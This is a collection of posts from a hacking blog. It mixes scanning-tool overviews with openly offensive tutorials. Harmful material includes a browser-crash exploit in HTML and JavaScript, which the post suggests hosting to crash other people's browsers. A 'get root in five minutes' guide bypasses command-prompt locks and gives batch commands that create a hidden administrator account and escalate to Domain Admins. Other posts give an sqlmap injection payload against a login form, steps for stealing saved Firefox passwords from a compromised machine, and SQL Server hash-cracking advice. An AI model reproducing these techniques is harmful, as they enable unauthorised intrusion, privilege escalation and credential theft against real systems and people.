How to crack SQL Server's password Hashes

SQL Server uses an undeclared and undocumented function, pwdencrypt() to produce a hash of the user's password, which is stored in the sysxlogins table of the master database. I guess this is a common known thing which most of the people related to SQL knows. But i never met any article detailing this function. So here i am focusing on the details of this password hash so as to further get deeper with it. 

So lets begin with how it looks like.

Using Query Analyzer, or the SQL tool of your choice, run the following query :

select password from master.dbo.sysxlogins where name='sa'

You should get something that looks similar to the following returned.

0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA

5449E6F649BA954AFF4057056D9B
 

This is the hash of the 'sa' login's password on my machine.

Now there is a uniqueness in this password hashing function. It would give you two different password hashes for the same password if you put some difference in their time. Design for this password hash function is made something like if two people use same password then their hashes will be different – thus would misinterpret you that password is the same.       

Now lets run a case scenario and then lets study it. Here I am gonna take AAAAAA as the password ad then lets take a Hash on it using :

Select pwndecrypt(‘AAAAAA’) 

Which produces hash 

0x01008444930543174C59CC918D34B6A12C9CC9EF99C4769F819B43174C59CC918D34B6A

12C9CC9EF99C4769F819B

The key point here is there are two password hashes here and these has been concatenated for some advancd security measure. However luck lies in the fact that we ca crack them separately as well.  This has actually do have 4 parts :

• 10x0100
• 284449305
• 343174C59CC918D34B6A12C9CC9EF99C4769F819B
• 43174C59CC918D34B6A12C9CC9EF99C4769F819B

As you can see 3^rd and 4^th parts are identical [same] which proves that the password is always stored twice. One of them is normal case sensitive password [which is originally provided] and the other one is upper case version of the same password. This is seriously concerning as anyone attempting to attack the hash had got his work reduced by Half. Moreover, he do not have to give any “case perms [Random caps lock sequences]” rather he can simply use Upper characters which will reduce the keyspace required for the same. 

Here I am attaching the link for a simple command line dictionary attack tool.

Click here to get the code.

 [ And this program is not coded by me, as my programming is a Null vector. :D ]

9:16 AM by Shubham Mittal · 0

Nmap Kungfu Part 1 - Basic Scanning

 Nmap is by far the most popular port scanner available. You can download it from http://www.insecure.org/, and it compiles and installs in a breeze on most Windows and Unix operating systems including Mac OS X (via configure, make, make install). You can download Windows binaries (along with the required Winpcap) from http://www.insecure.org/.

One reason why nmap is so useful is that it offers many different scanning techniques from which you can choose. You can scan for hosts that are up, TCP ports, UDP ports, and even other IP protocols.

Before we get deep into this Nmap, lets take a look on the basics of Scanning [How scanning is actually done].

When a TCP connection is made to a port, the client sends a TCP packet with the SYN flag set to initiate the connection. If a server is listening on that port, it sends a packet with both the SYN and ACK flags set, acknowledging the client’s request to connect while asking to make a return connection. The client will then send a packet with the ACK flag set to acknowledge the server’s SYN. This is referred to as the TCP three-way handshake. When one side is done talking to the other, it will send a FIN packet. The other side will acknowledge that FIN and send a FIN of its own, waiting for the other side to acknowledge before the connection is truly closed. A RST packet can be sent by either side at any time to abort the connection. A sample TCP conversation between a client and server is shown here:

          Three way handshake process

1. Client sends SYN to Server: “I want to connect.”
2. Server sends SYN/ACK to Client: “Okay; I need to connect to you.”
3. Client sends ACK to Server: “Okay.”
4. Client and Server send information back and forth, acknowledging each other’s transmissions with ACKs. If either side sends a RST, the connection aborts immediately.
   
   
   Formal Shutdown Process
5. Client has finished the conversation; Client sends FIN to Server: “Goodbye.”
6. Server sends ACK to Client (acknowledging Client’s FIN). Server then sends a separate FIN to Client: “Okay. Goodbye.”
7. Client sends ACK to Server (acknowledging Server’s FIN): “Okay.”

Keep this information in mind while reading through the next few sections. It will help you to get a better grasp on how nmap and other port scanners get their information.

Scanning for Hosts

If you care only about determining which hosts on a network are up, you can use the Ping scanning method (-sP). It works similarly to fping in that it sends Internet Control Message Protocol (ICMP) echo requests to the specified range of IP addresses and awaits a response. However, many hosts these days block ICMP requests. In this case, nmap will attempt to make a TCP connection to port 80 (by default) on the host. If it receives anything (either a SYN/ACK or a RST), the host is up. If it receives nothing at all, the host is assumed to be down or not currently on the network. If you want only a list of hostnames for the IP range you’ve specified, try a list scan (-sL).

Flag	Description
SYN	Used to indicate the beginning of a TCP connection
ACK	Used to acknowledge receipt of a previous packet or transmission
FIN	Used to close a TCP connection
RST	Used to abort a TCP connection abruptly

The basic method of TCP port scanning is to do a TCP connect() (-sT) to a port to see whether anything responds. This is the same thing any TCP client would do to make a connection (complete the three-way handshake), except nmap will disconnect by sending a RST packet as soon as the handshake is complete. If you want to, you can use an version scan (-sV) to scan every open port for banner grabbing. Moreover you can use (-O) for detection of Operating system. Following are some examples of these types of scans:

 Default Scan [ -sT]

Version Detection [banner grabbing] using -sV 

Operating system Detection [using -O]

 

In case you forgets all these switches, don't panic. Just hitting "nmap" without any switch will pop your screen with complete list of these switches.

The following table indicates how the –sT, -sV, and –O scans operate:

Nmap Sends to Host Port	Nmap Receives from Host Port	Nmap Responds	Nmap Assumes
SYN	SYN/ACK	ACK followed by RST	Port is open; host is up.
SYN	RST	–	Port is closed; host is up.
SYN	–	–	Port is blocked by firewall or host is down.

This is great, but since you’re just making basic TCP connections, your connection most likely gets logged by the service that answers. Sometimes you want to be a bit quieter.

For getting more deeper with silent scans, wait for Nmap Kung Fu - Part 2.

Enjoy Hacking, Enjoy Hackplanet.

Video for this part is available at : http://videos.hackplanet.in/2011/11/nmap-kungfu-part-1-basic-scanning.html

8:00 AM by Shubham Mittal · 1

Tool Population For Vulnerability Assessment

A vulnerability assessment tool or scanner is a tool using which we can automate the process of testing loopholes in a network and immunity of security system implemented by an organization.

They can be classified as :

a.     Host

b.    Service

c.     Application

Host based tools performs scanning on the system they resides on, i.e. they do not interact with any other system. Their advantage include having access to all system resources such as logs, etc. They also work a a faster rate as compared to other assessment tools. However they can also take large amount of host machine’s resources and if this was a important node in the network, this can raise worries on network admin’s face.

Service vulnerability scaners includes tools which scans a range of host or particular services which are running on them. These can include simple port scanners (Nmap, angryip, etc) and they can also include completely automated programs (Acunetix, Nessus, GFI Languard)  which can detect live hosts and try to fetch data from them. This automation can be in terms of banner grabbing or service identification as well. These automated tools also enable users to create a report on its own once it completes the assessment.

When we talk about current tool population in the industry, there are a number of tools ranging from scanners to automated ones. Some of them which are open source and available free of cost includes :

Ø Microsoft Baseline Security Analyser ( http://microsoft.com/technets/security/tools/mbsahome.mspx)

Ø Winfingerprint (http://winfingerprint.com)

Ø OpenVas (http:/wald.intevation.org/projects/openvas/)

Ø Paros (http://parosproxy.org)

Ø Win Vuln Scan (http://pspl.com/download/winvulnscan.htm)

Ø Nikto (http://www.cirt.net/code/nikto.shtml)

Ø Nessus 

Apart from these tools, you must be in touch with latest vlnerbilty informations. For this purpose you can use these advisories :

Ø http://cert.org

Ø http://cve.mitre.org/cve

Ø http://isc.sans.org

Ø http://owasp.org

Ø http://osvdb.org

Ø http://seclists.org

Ø http://secunia.com

Ø http://exploit-db.com

1:09 PM by Shubham Mittal · 0

Opera 11.11 Crash Vulnerabilty Discussion

Opera 11.11 Web browser , which is vulnerable to DOS, and can be used to crash it down remotely. The trick lies in refreshing/ reloading an IFRAME and then putting an infinite loop on some of its element. For this time we are going to use Font element.

So open up your Opera and load the exploit [which is in an HTML file] into it. You can get the exploit code from here.

 

Save this text in form of a HTML file. When we open this file in opera, goes up and crashes it down within a fraction of seconds. The best part of this exploit is, you can also crash an Opera remotely, say uploading our file to any of the free web hosting sites and then asking someone to open it. Doing so would crash his opera down.

 Anyways, lets discuss the code.

1 2 3 4 5 6 7 8 9 10 11 12 13

<html>   <body>    <iframe src='about:blank' id='bo0om' style="width:0px;height:0px;border:0px none;">iframe>    <script type="text/javascript"  language="javascript">              var a = window.document.getElementById('bo0om');       var b = a.contentDocument.createElement('font');       a.src='about:blank';       setTimeout('b.face = "h3h";',100);           script>   body> html>

1.

<iframe src='about:blank' id='bo0om' style="width:0px;height:0px;border:0px none;">iframe>

As you can see, we had taken an iframe with id =bo0om with no source code, no height and no width.
2.

var a = window.document.getElementById('bo0om');

Then we took a variable ‘a’ and loaded the iframe into it.

 

3.

var b = a.contentDocument.createElement('font');

Taking ‘a’ into ‘b’, i.e. whole iframe into ‘b’ and then adding an element font which I fiscussed in the very first paragraph of this article.


4.

setTimeout('b.face = "h3h";',100);

Now setting the timeout to be 500ms, we are asking our page to load “h3h” into font element of iframe bo0om, (b.face or we can say a.font.face or ultimately bo0om.font.face= ‘h3h’).

Now the point is, this whole code is going to do the same amount of work in an infinite loop and thus and opera will continuously keep doing this. Due to the memory it would consume in performing this all, it crashes.

This is the Error report I got in on my screen. You can get some difference. 

             http://localhostr.com/file/1Tq9Ti9/crash20110928182514.txt

12:40 PM by Shubham Mittal · 0

Diffrent ways to Access Command Prompt

This article is about hacking networks. Since any longer than five minutes, you risk getting caught, this is *hopefully* going to teach you how to get root in five minutes or less. So, lets get it started.


To those of you that think by getting root, you own everything, sorry to disapoint you. But, by getting root, you only own the comp your on. There is however, a way to get domain root, which I'll discuss later.

So first of all , try and check your access to DOS. For doing so :
"start>all programs>accessories>cmd" or "start>run> type in 'cmd'"

If it doesnt works, go and make a file named "whatever.txt" Right click, and open it in notepad. Type "cmd" in it and save, if you are able to see some black screen fr a second, yes, you can get it. Now change the content in file, i.e

replace "cmd" with following:

@echo off
echo hello
pause

If you see "HACKED" on the screen, then yes you are more closer. Finally now change the content to following :
REGEDIT4
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldApp]
"Disabled"=dword:0
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
"DisableRegistryTools"=dword:0


This changes the registry value that blocks dos. So, type "cmd" in the .bat and see if it works. If that also didn't work, theres still other ways.

Now, type in your commands and click "file>save as>" for the type, put "text document, and save as "anything.bat".
If that wasn't the reason, I hope you have access to the C drive.
If you do, go here "C:\Windows\system32\" and create a new folder.
Now, find "cmd.exe" and "scrnsave.scr" and copy them to the new folder.
Goto the folder and rename "scrnsave.scr" to "scrnsaveold.scr", and "cmd.exe" to "scrnsave.scr" And replace it with the real one in system32. Now the next time your screen saver appears, it will be full access dos. So, if you can, on the desktop, right click and select properties. Change the time to one minute. On windows xp, you may have to make sure the screensaver is "scrnsave".

Even if it doesnt works, you can go for control panel. yes this one is not gauranteed, but ya at least it may be try at least.

Just create a new folder and rename it to following(obviously only the {} part)





Control panel: {305CA226-D286-468e-B848-2B2E8E697B74}
Printers: {2227A280-3AEA-1069-A2DE-08002B30309D} 
Taskbar and startmenu: {0DF44EAA-FF21-4412-828E-260A8728E7F1}
Microsoft FTP folder {63da6ec0-2e98-11cf-8d82-444553540000}
Temporary Internet files {7BD29E00-76C1-11CF-9DD0-00A0C9034933}
ActiveX Cache folder {88C6C381-2E85-11D0-94DE-444553540000
Subscblockedriptions folder {F5175861-2688-11d0-9C5E-00AA00A45957}
Dial-up networking: {992CFFA0-F557-101A-88EC-00DD010CCC48}
Scheduled tasks: {D6277990-4C6A-11CF-8D87-00AA0060F5BF}
Folder options: {6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}
Dial-Up Networking: {992CFFA0-F557-101A-88EC-00DD010CCC48}
Scheduled tasks: {D6277990-4C6A-11CF-8D87-00AA0060F5BF}
History {FF393560-C2A7-11CF-BFF4-444553540000}

Another way to get dos, is to create a prog. Uber0n has created such a program. You can find it at http://www.freewebs.com/uber0n/ You'll need a c++ compiler.

If so far, nothing has worked. You need to crack the sam file. Pretty sure Cain & Abel has this option.

If you did get dos, it's time to create yourself an admin acct. Type this.

@echo off
net user hackplanet hackplanet /add
net localgroup administrators hackplanet /add
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v hackplanet/t REG_DWORD /d 0

First Line just hides the file address and stuff.
Second Line Creates the user "hackplanet" with the password of "hackplanet".
Third Line adds "upgoingstar" to the administrators group.
Fourth Line makes the acct "upgoingstar" a hidden acct.
If you see "The command completed successfully." or something similiar, congragulations. You now have root. If it didn't work, it means you have limited access dos, use the screensaver thing.

If you want domain root, you can either find the domain admin's username and type


@echo off
net user [username] [newpassword]


That will change the pass.
Or, if you can get on his/her comp, type this in dos.


net group "Domain Admins" [username] /add


This will add an acct to the domain admins.


Moreover, if you don't have access to the C drive, or any other particular drive, there are a few ways to view it's contents. You just need to be able to install programs. Google has a program called "Google Desktop" which indexes the computer and makes it searchable.
Or, you can download a web browser such as Opera. In the url bar type this "file://" you should now see a list of drives.


Seems funny? Weel, actually it is. :)


Neways, this much fr now. Enjoy Hacking, enjoy hackplanet. ;)  :-@

10:59 PM by Shubham Mittal · 0

Top 10 Essential tools for Hacking Wireless Networks

 

As with any trade, it’s essential to have the right tools when testing your wireless network for security  vulnerabilities. Here are ten tools i m including that will assist you to increase the throughput of yur pen test.

Laptop Computer
For starters, you’ve got to a have a good test system — preferably a portable laptop computer. Although it is possible to perform wireless-security testing using a handheld device such as a Pocket PC, the tools available on such devices are limited compared to those on a laptop system.
Due to the multiple operating system requirements of the popular wireless testing tools, we recommend using either a system that can dual boot Windows (preferably 2000 or XP) and Linux (any recent distribution will do) or a Windows-based system running a virtual machine program (such as VMware) on which you can install multiple operating systems. The hardware requirements  for systems running a single operating system are pretty minimal given today’s standards. A system with a Pentium III or equivalent processor, 256MB RAM, and at least a 30–40GB hard drive should be more than enough. If you’ll be running VMware or another virtual machine program, you’ll want to at least double this amount of RAM and hard drive space.

Wireless Network Card
In addition to the laptop, you’ve got to have a good wireless network-interface card (NIC). Look for a PC Card NIC that’s not only compatible with the various wireless tools, but one that also has a connector for an external antenna so you can pick up more signals. The Orinoco Gold card (and its re-badged equivalents) serves both purposes very well. Many wireless NICs built in to today’s laptops are good general purpose cards, but your test results may be limited due to the shorter radio range capability of the internal antennas.

Antennas and Connecting Cables
A high-gain unidirectional or omnidirectional antenna — or cantenna — will do wonders for you when you’re scanning your airwaves for wireless systems. When you’re shopping for antennas, look for one with a pigtail connection that matches the type of connector you have on your wireless NIC. Also be aware that the length of these pigtail cables should be kept as short as possible. Because they’re made with a very thin microwave coax, these cables have fairly high signal losses at microwave frequencies and with the connectors placed on either end of the pigtail cable. To avoid high cable losses, you should not use a pigtail cable longer than 5 feet.

GPS Receiver
If you’ll be war-walking/driving/flying — or if your wireless systems span across a large building or campus environment — then it’s time to think globally:  A global positioning satellite (GPS) receiver will come in handy. With a GPS receiver, you’ll be able to integrate your wireless testing software and pinpoint the locations of wireless systems within a few meters.

Stumbling Software
To get your wireless testing rolling, wireless stumbling software is essential; you can use it to map out things like SSIDs, signal strength, and systems using WEP encryption. Software you can use for this includes Network Stumbler for Windows or your wireless NIC management software. For really basic stumbling, you can even use the management software built in to Windows XP.

Wireless Network Analyzer
To probe deep into the airwaves, a network analyzer is essential. Programs such as Kismet, AiroPeek, and ethereal can help you monitor multiple wireless channels, view protocols in use, look for wireless system anomalies — and even capture wireless data right out of thin air.

Port Scanner
A port scanner such as nmap or SuperScan is a great tool for scanning the wireless systems you stumble across to find out more about what’s running and what’s potentially vulnerable.

Vulnerability Assessment Tool
A vulnerability-assessment tool such as Nessus, LANguard Network Security Scanner, or QualysGuard is great for probing your wireless systems further to find out which vulnerabilities actually exist. This information can then be used to poke around further and see what the bad guys can see and even potentially exploit.

Google
It’s not only a great reference tool, but the Google search engine can also be used for searching Network  Stumbler .NS1 files, digging in to the Web-server software built in to your APs, finding new wireless-security testing tools, researching vulnerabilities, and more. The Google taskbar (downloadable for Internet Explorer, built in to FireFox) makes your searching even easier.

An 802.11 Reference Guide
While performing ongoing ethical hacks against your wireless systems, you’ll undoubtedly need a good reference guide on the IEEE 802.11 standards at some time or another. The 802.11 wireless protocol is very complex and will evolve over time. You’ll likely need to look up information on channel frequency ranges, what a certain type of packet is used for, or perhaps a default 802.11 setting or two. The Cheat Sheet, the wireless resources found in Appendix A in this book, as well as Peter’s book Wireless

11:56 PM by Shubham Mittal · 0

Cum Security Toolkit - For Web Vulnerability Scanning

The cum security toolkit (cst) contains a cgi vulnerability scanner and a port scanner, and can be used as a hacking tool, or as a security vulnerability assesment tool. The cgi scanner is a web vulnerability scanner that scans using a database of scripts, files and directories (user editable). The sample databases included contain +2200 possibly vulnerable scripts/dirs. You can scan with or without using (multiple) proxy servers. The cgi scanner has +11 different anti-IDS tactics (hex-values, double slashes, self-reference directories, session splicing, parameter hiding, http misformatting, dos/win directory syntax, case sensitivity, null method processing, long urls, premature request ending and http 0.9 scans), and sends fake "X-Forwarded-For:", "Referer:" and "User-Agent:" headers to hide your scans even more. You can also specify a waittime between 2 script fetches. The cgi scanner uses HEAD requests for faster scanning (you can scan using GET by providing an extra flag), and supports scanning virtual hosts. You can also specify another port to scan instead of the standard port 80, or another directory than the standard cgi-bin or scripts. The scanner outputs the scripts and/or directories that return a 200, 201, 202, 204, 403 or 401 HTTP code (you can specify other codes too using an extra flag) and outputs the target webserver software. You can scan single hosts, or supply a file with a list with targets for bulk scanning. + download a database with vulnerable cgi scripts for the cgi scanner here (28 Jan 2003) The port scanner is a simple TCP portscanner with banner grabbing. It outputs which ports are open, sends a string to the open ports (user specified), and shows their reply. It is more an enumeration / stress tool. You can scan seperate ports and/or portranges, and you can scan a single host, or supply a list with servers for bulk scanning. The cst security scanners are written entirely in Java, to run them you need a Java runtime environment, go to http://java.sun.com/ to download one (look for j2se or a Java virtual machine). The latest version of cst is v1.41 : + download cst v1.41 here + view the cst manual online here (txt)

10:39 PM by Shubham Mittal · 1

How to Reset Your BIOS Password

Well guys, Here's a DOS trick for Windows 9x, that will reset (delete) your motherboard's BIOS password (aka CMOS password) without any need to open up your computer to remove the battery or mess with jumpers.

This method can come in very handy in the event you ever lose and forget your BIOS password or if you acquire used computers where the unknown previous owners had BIOS passwords set (in fact, this happened to me long ago—I was given a used computer, but there was no way I could enter the CMOS to make changes). It's important to note here that the password we are talking about is only the one that prevents a user from entering the BIOS setup at bootup, not the one that stops you from getting past the boot.

Normally, at bootup you can press a key (usually the DEL key) to access your BIOS allowing you to view it or make changes. With a password set, there is no way to enter setup. Though a password can provide a basic and very effective level of PC security, losing it can be a real headache if you don't know how to fix the problem.

The MS-DOS command that will makes this trick possible is the DEBUG command (debug itself is a utility—debug.exe—which is located in your Windows Command folder). This is not a command to be taken lightly—in other words, it's not a command to play with! You can cause serious corruption with this command and can end up not being able to even boot your computer! Debug is used to work with binary and executable files and allows you to alter (hex edit) the contents of a file or CPU register right down to the binary and byte level.

To begin debug mode, type debug at a MS-DOS prompt or you can specify a file, i.e., DEBUG FILE.EXE. There is a difference in screen output between the two methods. When you type DEBUG alone, debug responds with a hyphen (-) prompt waiting for you to enter commands. The second method, with a file specified, loads the file into memory and you type all the commands on the line used to start debug. In this tip, we will be writing to the BIOS, so the first method is the one that would be used. All debug commands can be aborted at any time by pressing CTRL/C.

Accessing BIOS with DEBUG
The basic trick will be to fool the BIOS into thinking there is a checksum error, in which case it resets itself, including the password. This is done by invalidating the CMOS and to do that we must know how to access the BIOS and where the checksum value of the CMOS is located so that we can change it. Access to the the BIOS content is via what are known as CMOS Ports and it's Port 70 and 71 that will give us the needed access. On almost all AT motherboards, the checksum is located at hexadecimal address 2e and 2f and filling the address 2e with ff is all you should have to do to invalidate the checksum.

Here's what to do if you ever need to reset the password and have no other method, and you don't want to open up your computer to remove the battery or jumpers.

Note! Do this at your own risk. I can only tell you that it has worked for me more than once and has worked for others as well. But I cannot make any guarantees. When I did this, I took a willing risk. The BIOS was Award Modular BIOS v4.51PG

Restart your computer in MS-DOS mode.


When you get to the C:\> or C:\WINDOWS> prompt, type DEBUG and press Enter.


A hyphen (-) prompt will appear waiting for you to enter commands.


Enter the following commands, pressing Enter after each one. Note: the o is the letter o and stands for OUTPUT.


o 70 2e


o 71 ff


q


After the q command (which stands for QUIT), enter Exit.


Then try to enter your BIOS at bootup. The password prompt should now be gone and you should now have full access to it again. However, you will now be at the default BIOS setttings and may want to change them to your preference. You may also want to have your drives autodetected again.

In closing, I should state that in the case of a lost BIOS password, your first step should always be to contact your manufacturer to see if a backdoor password is available that will allow you to bypass the forgotten password.

There are many sites on the net that list backdoor passwords you can try, but beware that some BIOS that are set up to lock up if you enter the wrong password more than a certain number of times, usually only 3 times!

11:30 AM by Shubham Mittal · 0

SQLmap and POSTS , rather than GETS

Hi guys, wats goin on?  hacking on charm? :D

 

Well, here writing sumthing cool. Giving here a tut for "sqlmap and POST" requests since every most of the tutorials tel u bout the GETS only.. Sounds interesting? Well, n its interesting as well. 

 

So the options you'll want to use

-u URL, --url=URL <-- Target url
--method=METHOD <-- HTTP method, GET or POST (default GET)
--data=DATA <-- Data string to be sent through POST
-p TESTPARAMETER <-- Testable parameter(s)
--prefix=PREFIX <-- Injection payload prefix string

--postfix=POSTFIX <-- Injection payload postfix string

--dbms=DBMS <--Force back-end DBMS to this value

*--dbms= if sqlmap is nt working, it sumeitmes irritates. :)

lets assume that we are having a simple POST request.


3ncrypt0r@bt:~/pentest/sqlmap-dev$ python sqlmap.py -u "http://192.168.1.100/upgoingstar/login.aspx" --method POST --data "usernameTxt=blah&passwordTxt=blah&submitBtn=Log+On" -p "usernameTxt" --prefix="')" --dbms=mssql -v 2

--method to pass the POST option

--data to pass the paramaters that are required for the POST

-p to pass the injectable field, so in this case the username field (usernameTxt)

--prefix to pass what needs to be passed before we can inject. we had to issue a tick ( ' ) and right parenthesis ( ) ) to close out the query

--dbms to tell it the backend was mssql

this yields us an sqlmap query like so:

Place: POST
Parameter: usernameTxt
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: usernameTxt=blah'); WAITFOR DELAY '0:0:5';-- AND ('yTwo'='yTwo&passwordTxt=blah&submitBtn=Log+On

 

 

Well this is it. try it once and u wud enjoy. :)

have fun.

4:26 AM by Shubham Mittal · 0

Saved Firefox passwords from Rooted Box.

Nothing new, but as this is my own place so i m gonna write whatever i wish :P

Sometimes while you are on a box and going thru all the documents doesn't yield anything useful for you to move, in that scenario you can sometimes grab the Firefox saved passwords. So many times someone will save their password to the corporate OWA, wiki, helpdesk page, or whatever. Even if u dno gets the lead, u can atleast guess that those are passswords that has been reset or not.

So how to do it?

Actually its simple. Inside of the mozilla\firefox directory will be somethingrandom.default. Inside that folder you'll find:
key3.db
signons.sqlite

If there is no master password set, replace the files on your test VM with the two files you downloaded, open firefox, go to preferences, security, and do a view saved passwords. LOL. Isnt it amazing?

This is it. I guess this was a lamers one, but dude, i had also got some n00b (as i m ) in ma visitors list, so this post can also find a place. ::d

Enuf fr this time.

Enjoy Hacking, Enjoy HAckton.

7:32 AM by Shubham Mittal · 0

An all new Info-gathering Engine - UNICORN

Unicornscan is a new information gathering and correlation engine built for and by members of the security research and testing communities. It was designed to provide an engine that is Scalable, Accurate, Flexible, and Efficient. It is released for the community to use under the terms of the GPL license.

Benefits:

Unicornscan is an attempt at a User-land Distributed TCP/IP stack. It is intended to provide a researcher a superior interface for introducing a stimulus into and measuring a response from a TCP/IP enabled device or network. Although it currently has hundreds of individual features, a main set of abilities include:

• Asynchronous stateless TCP scanning with all variations of TCP Flags.
• Asynchronous stateless TCP banner grabbing
• Asynchronous protocol specific UDP Scanning (sending enough of a signature to elicit a response).
• Active and Passive remote OS, application, and component identification by analyzing responses.
• PCAP file logging and filtering
• Relational database output
• Custom module support
• Customized data-set views 

Source : http://unicornscan.org/
Download : http://unicornscan.org/

7:25 AM by Shubham Mittal · 0

New SNMP Metasploit Modules

Here are some of the snmp_enumusers and snmp_enumshares modules that works against windows hosts (running SNMP services). Just got to work with them only today and found that too good. I guess you guys will also like this.

N , here we go :D

msf > use auxiliary/scanner/snmp/
use auxiliary/scanner/snmp/aix_version
use auxiliary/scanner/snmp/snmp_enumshares
use auxiliary/scanner/snmp/cisco_config_tftp
use auxiliary/scanner/snmp/snmp_enumusers
use auxiliary/scanner/snmp/cisco_upload_file
use auxiliary/scanner/snmp/snmp_login
use auxiliary/scanner/snmp/snmp_enum
use auxiliary/scanner/snmp/snmp_set
msf > use auxiliary/scanner/snmp/snmp_login
msf auxiliary(snmp_login) > set RHOSTS 192.168.100.119
RHOSTS => 192.168.100.119
msf auxiliary(snmp_login) > run

[+] SNMP: 192.168.100.119 community string: 'public' info: 'Hardware: x86 Family 6 Model 23 Stepping 6 AT/AT COMPATIBLE - Software: Windows Version 5.2 (Build 3790 Multiprocessor Free)'
[+] SNMP: 192.168.100.119 community string: 'private' info: 'Hardware: x86 Family 6 Model 23 Stepping 6 AT/AT COMPATIBLE - Software: Windows Version 5.2 (Build 3790 Multiprocessor Free)'
[*] Validating scan results from 1 hosts...
[*] Host 192.168.100.119 provides READ-WRITE access with community 'private'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(snmp_login) > use auxiliary/scanner/snmp/snmp_enumusers
msf auxiliary(snmp_enumusers) > info
...SNIP...
Description:
This module will use LanManager OID values to enumerate local user accounts on a Windows system via SNMP
msf auxiliary(snmp_enumusers) > set RHOSTS 192.168.100.119
RHOSTS => 192.168.100.119
msf auxiliary(snmp_enumusers) > run
[+] 192.168.100.119 Found Users: ASPNET, Administrator, Guest, IUSR_SRV, IWAM_SRV, SUPPORT_388945a0
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(snmp_enumusers) > use auxiliary/scanner/snmp/snmp_enumshares
msf auxiliary(snmp_enumshares) > info
...SNIP...
Description:
This module will use LanManager OID values to enumerate SMB shares on a Windows system via SNMP
msf auxiliary(snmp_enumshares) > set RHOSTS 192.168.100.119
RHOSTS => 192.168.100.119
msf auxiliary(snmp_enumshares) > run
[+] 192.168.100.119
backup - (C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\backup)
MetaInfoBack - (C:\WINDOWS\system32\inetsrv\MetaInfoBack)
NewBackup2 - (J:\NewBackup2)
SharepointBackup - (K:\SharepointBackup)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


I guess this was helpful. Commenst are always appreciated.

7:22 AM by Shubham Mittal · 0

Warning for "Work From Home" Offers

Everyone including you can see them every now and then ; seductive work-at-home opportunities getting more popular these day. very trendy examples may be in flyers tacked to telephone poles, in newspaper classifieds, in your e-mail, and all over the web, promising you hundreds or thousands of dollars a week for typing, stuffing envelopes, processing medical billing, etc. And it’s just a phone call or mouse click away… n Blah bah blah. :)
 
Might be tempting during these uncertain economic times, but beware of any offers that promise easy money for minimum effort—many are scams that fill the coffers of criminals.

Here are a few of the most common work-at-home scams.

• Advance-fee: Starting a home-based business is easy! Just invest a few hundred dollars in inventory, set-up, and training materials, they say. Of course, if and when the materials do come, they are totally worthless…and you’re stuck with the bill.

• Counterfeit check-facilitated "mystery shopper:" You’re sent a check and asked to deposit it into your bank account, then withdraw funds to shop and check out the service of local stores and wire transfer companies. You keep a small amount of the money for your “work,” but then, as instructed, mail or wire the rest to your “employer.” Sound good? One problem: the initial check was phony, and by the time your bank notifies you, your money is long gone and you’re on the hook for the counterfeit check.

• Pyramid schemes: You’re hired as a “distributor” and shell out big bucks for promotional materials and product inventories with little value (like get-rich quick pamphlets). You’re promised money for recruiting more distributors, so you talk friends and family into participating. The scheme grows exponentially but then falls apart—the only ones who make a profit are the criminals who started it.

• Unknowing involvement in criminal activity: Criminals—often located overseas—sometimes use unwitting victims to advance their operations, steal and launder money, and maintain anonymity. For example, they may “hire" you as a U.S.-based agent to receive and re-ship checks, merchandise, and solicitations to other potential victims…without you realizing it’s all a ruse that leaves no trail back to the crooks.

Add identity theft to the mix. As if these schemes aren’t bad enough, many also lead to identity theft. During the application process, you’re often asked to provide personal information that can be used to steal from your bank account or establish new credit cards in your name.

On the job. A host of law enforcement and regulatory agencies, including the FBI, investigate these schemes and track down those responsible. But the most effective weapon against these fraudsters is you not falling for the scams in the first place.

A few tips:

• Contact the Better Business Bureau to determine the legitimacy of the company.
• Be suspicious when money is required up front for instructions or products.
• Don’t provide personal information when first interacting with your prospective employer.
• Do your own research into legitimate work-at-home opportunities, using the “Work-at-Home Sourcebook” and other resources that may be available at your local library.
• Ask lots of questions of potential employers—legitimate companies will have answers for you! 

I kno these are some of the very old ways but still, their countermeasures needs to be hyped in order to stop them, because being oldest, they are still most popular ones.







I hope this article would have helped u somehow.



Commenting is always appreciated.

2:58 AM by Shubham Mittal · 0

Install Backtrack In Ubuntu

 

Backtrack is one of the most top rated Live Linux Distributions (meaning you can run straight from the CD). Backtrack is focused on penetration testing, and comes pre-packed with many applications to analyse and test your LAN, Wifi, Bluetooth... the list continues.

Well, Many of the time i used backtrack, but most oftenly i found myself to do sum extra things in order to use it like an ordinary Linux Diostro. n for all the same, i had find a method to use backtrack in our very own and most popular distro, ubuntu. Just follow these simple steps.

First of all add this to your /etc/apt/sources.list

deb http://repo.offensive-security.com/dist/bt4 binary/

Now in order to import the Backtrack GPG key and to update the sources:

wget http://repo.offensive-security.com/dist/bt4/binary/public-key && sudo apt-key add public-key && sudo apt-get update

Cool  ;) ??

Now you had got all the new Backtrack applications ready to install. You can find these applications in your Synaptic Package Manager, under the sections BackTrack - Web (for example). If you are wanting to install all of the new applications quickly, you can run the following command:

links -dump http://repo.offensive-security.com/dist/bt4/binary/ | awk '{print $3}' | grep -i deb | cut -d . -f 1 > backtrack.txt

This command will use the links text browser to grab a complete list of packages and store them into the file backtrack.txt. Each application will then be installed one by one. As there are 182 files, it may take a long time , so better get ready with it and get a little multitasking :P

I Guess, yuou enjoyed this one. Have a nice time. Feel free to ask any confusion..

Enjoy Hacking, Enjoy Hackton.

2:32 AM by Shubham Mittal · 0

Default passwords for Access Points - Part 1

Here s a huge list of Default Passwords for Access Point Devices.

Click To Open The link

9:18 AM by Shubham Mittal · 0

A Parser For Google Finance in Perl - Troper

Did you ever tried to understand or just work with the Google html code?
Well I can say that it's a real hit in the balls!

oh yeah, because I tried in this week., it was hard but I succeed! F**k yeah! 

Dude, for whatevr may be the reason, did you tried to do this?

